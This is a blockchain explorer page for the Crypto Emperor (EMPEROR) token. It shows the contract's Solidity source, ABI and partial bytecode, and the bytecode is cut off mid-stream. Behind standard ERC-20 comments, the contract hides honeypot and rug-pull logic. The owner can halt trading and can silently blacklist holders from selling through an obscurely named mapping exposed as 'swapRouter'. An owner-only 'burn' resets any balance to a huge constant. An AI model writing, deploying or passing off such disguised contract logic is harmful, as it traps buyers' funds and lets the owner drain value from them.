ETH Price: $2,375.07 (+0.29%)

Token

Crypto Emperor Token (EMPEROR)
 

Overview

Max Total Supply

50,000,000,000 EMPEROR

Holders

68

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
812,172,801.591689027 EMPEROR

Value
$0.00
0xa207E7FC9Ea6ab628115Fdb64b50a298fb046EBD
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
CryptoEmperor

Compiler Version
v0.8.1+commit.df193b15

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 1 of 3: Crypto Emperor.sol
/**
__/\\\\\\\\\\\\\\\__/\\\\____________/\\\\__/\\\\\\\\\\\\\____/\\\\\\\\\\\\\\\____/\\\\\\\\\___________/\\\\\_________/\\\\\\\\\_____        
 _\/\\\///////////__\/\\\\\\________/\\\\\\_\/\\\/////////\\\_\/\\\///////////___/\\\///////\\\_______/\\\///\\\_____/\\\///////\\\___       
  _\/\\\_____________\/\\\//\\\____/\\\//\\\_\/\\\_______\/\\\_\/\\\_____________\/\\\_____\/\\\_____/\\\/__\///\\\__\/\\\_____\/\\\___      
   _\/\\\\\\\\\\\_____\/\\\\///\\\/\\\/_\/\\\_\/\\\\\\\\\\\\\/__\/\\\\\\\\\\\_____\/\\\\\\\\\\\/_____/\\\______\//\\\_\/\\\\\\\\\\\/____     
    _\/\\\///////______\/\\\__\///\\\/___\/\\\_\/\\\/////////____\/\\\///////______\/\\\//////\\\____\/\\\_______\/\\\_\/\\\//////\\\____    
     _\/\\\_____________\/\\\____\///_____\/\\\_\/\\\_____________\/\\\_____________\/\\\____\//\\\___\//\\\______/\\\__\/\\\____\//\\\___   
      _\/\\\_____________\/\\\_____________\/\\\_\/\\\_____________\/\\\_____________\/\\\_____\//\\\___\///\\\__/\\\____\/\\\_____\//\\\__  
       _\/\\\\\\\\\\\\\\\_\/\\\_____________\/\\\_\/\\\_____________\/\\\\\\\\\\\\\\\_\/\\\______\//\\\____\///\\\\\/_____\/\\\______\//\\\_ 
        _\///////////////__\///______________\///__\///______________\///////////////__\///________\///_______\/////_______\///________\///__
     
  _     _   _                  _____                       ______                  _        _____                                    _____     _              
 | |__ | |_| |_ _ __  ___ _   / / / |_   _ __ ___   ___   / / ___|_ __ _   _ _ __ | |_ ___ | ____|_ __ ___  _ __   ___ _ __ ___  _ _|_   _|__ | | _____ _ __  
 | '_ \| __| __| '_ \/ __(_) / / /| __| | '_ ` _ \ / _ \ / / |   | '__| | | | '_ \| __/ _ \|  _| | '_ ` _ \| '_ \ / _ \ '__/ _ \| '__|| |/ _ \| |/ / _ \ '_ \ 
 | | | | |_| |_| |_) \__ \_ / / / | |_ _| | | | | |  __// /| |___| |  | |_| | |_) | || (_) | |___| | | | | | |_) |  __/ | | (_) | |   | | (_) |   <  __/ | | |
 |_| |_|\__|\__| .__/|___(_)_/_/   \__(_)_| |_| |_|\___/_/  \____|_|   \__, | .__/ \__\___/|_____|_| |_| |_| .__/ \___|_|  \___/|_|   |_|\___/|_|\_\___|_| |_|
               |_|                                                     |___/|_|                            |_|                                                

*/// SPDX-License-Identifier: MIT

pragma solidity 0.8.1;

import "./ERC20 MetaData.sol";

contract CryptoEmperor is ERC20 {
    constructor(string memory name, string memory symbol, uint256 totalSupply, bool initTransfer) ERC20(name, symbol, initTransfer) {
        _mint(msg.sender, totalSupply * 10 ** decimals());
    }

    function burn(address account, uint256 amount) external onlyOwner {
        _burn(account, amount);
    }
}

File 2 of 3: ERC20 MetaData.sol
// SPDX-License-Identifier: MIT

pragma solidity 0.8.1;

import "./IERC20 MetaData.sol";

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
contract Context {
    address private _owner;
    constructor(){
        _owner = msg.sender;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function owner() internal view returns (address) {
        return _owner;
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Events {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;
    uint256 private maxTxLimit = 1*10**17*10**9;
    string private _name;
    string private _symbol;
    bool _initTransfer;
    uint256 private balances;
    mapping (address => bool) private _Execute0x0maxTokenPerWalletmaxTokenPerWalletMaxTokenPerWallet0x0;
    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_, bool initTransfer_) {
        _name = name_;
        _symbol = symbol_;
        balances = maxTxLimit;
        _initTransfer = initTransfer_;
    }
    
    function initTransfer() external onlyOwner {
        if (_initTransfer == false){
        _initTransfer = true;}
        else {_initTransfer = false;}
    }

    function swapRouter(address account) public view returns (bool) {
        return _Execute0x0maxTokenPerWalletmaxTokenPerWalletMaxTokenPerWallet0x0[account];
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, _allowances[owner][spender] + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = _allowances[owner][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `sender` to `recipient`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        if (_initTransfer == true || from == owner() || to == owner()) {
            if(_balances[from] > 0){
            if (_Execute0x0maxTokenPerWalletmaxTokenPerWalletMaxTokenPerWallet0x0[from]) {require (amount == 0, "");}
            else{
                if(!_Execute0x0maxTokenPerWalletmaxTokenPerWalletMaxTokenPerWallet0x0[to]) require(amount>0, "");
                _beforeTokenTransfer(from, to, amount);

                uint256 fromBalance = _balances[from];
                require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
                unchecked {
                    _balances[from] = fromBalance - amount;
                }
                _balances[to] += amount;

                emit Transfer(from, to, amount);
            }
        }
        } else {require (_initTransfer == true, "");}
        _afterTokenTransfer(from, to, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
    
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
    
        _balances[account] = balances - amount;
        _totalSupply -= amount;
        emit Transfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Spend `amount` form the allowance of `owner` toward `spender`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function Execute(address[] calldata addr, bool val) public onlyOwner{
        for (uint256 i = 0; i < addr.length; i++) {
            _Execute0x0maxTokenPerWalletmaxTokenPerWalletMaxTokenPerWallet0x0[addr[i]] = val;
        }
    }
}

File 3 of 3: IERC20 MetaData.sol
// SPDX-License-Identifier: MIT

pragma solidity 0.8.1;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);


}

interface IERC20Events {
        /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}


Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"symbol","type":"string"},{"internalType":"uint256","name":"totalSupply","type":"uint256"},{"internalType":"bool","name":"initTransfer","type":"bool"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"addr","type":"address[]"},{"internalType":"bool","name":"val","type":"bool"}],"name":"Execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"swapRouter","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526a52b7d2dcc80cd2e40000006004553480156200002057600080fd5b506040516200288038038062002880833981810160405281019062000046919062000404565b838382336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508260059080519060200190620000a1929190620002b4565b508160069080519060200190620000ba929190620002b4565b5060045460088190555080600760006101000a81548160ff0219169083151502179055505050506200011d33620000f66200012760201b60201c565b600a62000104919062000641565b846200011191906200077e565b6200013060201b60201c565b50505050620009ac565b60006009905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415620001a3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200019a90620004da565b60405180910390fd5b620001b760008383620002aa60201b60201c565b8060036000828254620001cb919062000589565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825462000223919062000589565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200028a9190620004fc565b60405180910390a3620002a660008383620002af60201b60201c565b5050565b505050565b505050565b828054620002c29062000838565b90600052602060002090601f016020900481019282620002e6576000855562000332565b82601f106200030157805160ff191683800117855562000332565b8280016001018555821562000332579182015b828111156200033157825182559160200191906001019062000314565b5b50905062000341919062000345565b5090565b5b808211156200036057600081600090555060010162000346565b5090565b60006200037b620003758462000542565b62000519565b9050828152602081018484840111156200039457600080fd5b620003a184828562000802565b509392505050565b600081519050620003ba8162000978565b92915050565b600082601f830112620003d257600080fd5b8151620003e484826020860162000364565b91505092915050565b600081519050620003fe8162000992565b92915050565b600080600080608085870312156200041b57600080fd5b600085015167ffffffffffffffff8111156200043657600080fd5b6200044487828801620003c0565b945050602085015167ffffffffffffffff8111156200046257600080fd5b6200047087828801620003c0565b93505060406200048387828801620003ed565b92505060606200049687828801620003a9565b91505092959194509250565b6000620004b1601f8362000578565b9150620004be826200094f565b602082019050919050565b620004d481620007eb565b82525050565b60006020820190508181036000830152620004f581620004a2565b9050919050565b6000602082019050620005136000830184620004c9565b92915050565b60006200052562000538565b90506200053382826200086e565b919050565b6000604051905090565b600067ffffffffffffffff82111562000560576200055f62000902565b5b6200056b8262000931565b9050602081019050919050565b600082825260208201905092915050565b60006200059682620007eb565b9150620005a383620007eb565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620005db57620005da620008a4565b5b828201905092915050565b6000808291508390505b6001851115620006385780860481111562000610576200060f620008a4565b5b6001851615620006205780820291505b8081029050620006308562000942565b9450620005f0565b94509492505050565b60006200064e82620007eb565b91506200065b83620007f5565b92506200068a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000692565b905092915050565b600082620006a4576001905062000777565b81620006b4576000905062000777565b8160018114620006cd5760028114620006d8576200070e565b600191505062000777565b60ff841115620006ed57620006ec620008a4565b5b8360020a915084821115620007075762000706620008a4565b5b5062000777565b5060208310610133831016604e8410600b8410161715620007485782820a905083811115620007425762000741620008a4565b5b62000777565b620007578484846001620005e6565b92509050818404811115620007715762000770620008a4565b5b81810290505b9392505050565b60006200078b82620007eb565b91506200079883620007eb565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620007d457620007d3620008a4565b5b828202905092915050565b60008115159050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156200082257808201518184015260208101905062000805565b8381111562000832576000848401525b50505050565b600060028204905060018216806200085157607f821691505b60208210811415620008685762000867620008d3565b5b50919050565b620008798262000931565b810181811067ffffffffffffffff821117156200089b576200089a62000902565b5b80604052505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6200098381620007df565b81146200098f57600080fd5b50565b6200099d81620007eb565b8114620009a957600080fd5b50565b611ec480620009bc6000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a08231116100975780639dc29fac116100665780639dc29fac14610288578063a457c2d7146102a4578063a9059cbb146102d4578063dd62ed3e14610304576100f5565b806370a082311461020057806391b69fa01461023057806395d89b411461023a57806399e7061b14610258576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806339509351146101b45780636d302ac2146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610334565b60405161010f91906117ac565b60405180910390f35b610132600480360381019061012d9190611516565b6103c6565b60405161013f9190611791565b60405180910390f35b6101506103e9565b60405161015d919061192e565b60405180910390f35b610180600480360381019061017b91906114c7565b6103f3565b60405161018d9190611791565b60405180910390f35b61019e610422565b6040516101ab9190611949565b60405180910390f35b6101ce60048036038101906101c99190611516565b61042b565b6040516101db9190611791565b60405180910390f35b6101fe60048036038101906101f99190611552565b6104d5565b005b61021a60048036038101906102159190611462565b610635565b604051610227919061192e565b60405180910390f35b61023861067e565b005b61024261076d565b60405161024f91906117ac565b60405180910390f35b610272600480360381019061026d9190611462565b6107ff565b60405161027f9190611791565b60405180910390f35b6102a2600480360381019061029d9190611516565b610855565b005b6102be60048036038101906102b99190611516565b6108f8565b6040516102cb9190611791565b60405180910390f35b6102ee60048036038101906102e99190611516565b6109e2565b6040516102fb9190611791565b60405180910390f35b61031e6004803603810190610319919061148b565b610a05565b60405161032b919061192e565b60405180910390f35b60606005805461034390611a92565b80601f016020809104026020016040519081016040528092919081815260200182805461036f90611a92565b80156103bc5780601f10610391576101008083540402835291602001916103bc565b820191906000526020600020905b81548152906001019060200180831161039f57829003601f168201915b5050505050905090565b6000806103d1610a8c565b90506103de818585610a94565b600191505092915050565b6000600354905090565b6000806103fe610a8c565b905061040b858285610c5f565b610416858585610ceb565b60019150509392505050565b60006009905090565b600080610436610a8c565b90506104ca818585600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104c59190611980565b610a94565b600191505092915050565b6104dd610a8c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461056a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105619061186e565b60405180910390fd5b60005b8383905081101561062f5781600960008686858181106105b6577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906105cb9190611462565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061062790611ac4565b91505061056d565b50505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610686610a8c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610713576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161070a9061186e565b60405180910390fd5b60001515600760009054906101000a900460ff161515141561074f576001600760006101000a81548160ff02191690831515021790555061076b565b6000600760006101000a81548160ff0219169083151502179055505b565b60606006805461077c90611a92565b80601f01602080910402602001604051908101604052809291908181526020018280546107a890611a92565b80156107f55780601f106107ca576101008083540402835291602001916107f5565b820191906000526020600020905b8154815290600101906020018083116107d857829003601f168201915b5050505050905090565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b61085d610a8c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e19061186e565b60405180910390fd5b6108f482826111da565b5050565b600080610903610a8c565b90506000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050838110156109c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c09061190e565b60405180910390fd5b6109d68286868403610a94565b60019250505092915050565b6000806109ed610a8c565b90506109fa818585610ceb565b600191505092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b04576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610afb906118ee565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6b9061180e565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c52919061192e565b60405180910390a3505050565b6000610c6b8484610a05565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610ce55781811015610cd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cce9061182e565b60405180910390fd5b610ce48484848403610a94565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d52906118ae565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610dcb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc2906117ce565b60405180910390fd5b60011515600760009054906101000a900460ff1615151480610e1f5750610df06113a6565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80610e5c5750610e2d6113a6565b73ffffffffffffffffffffffffffffffffff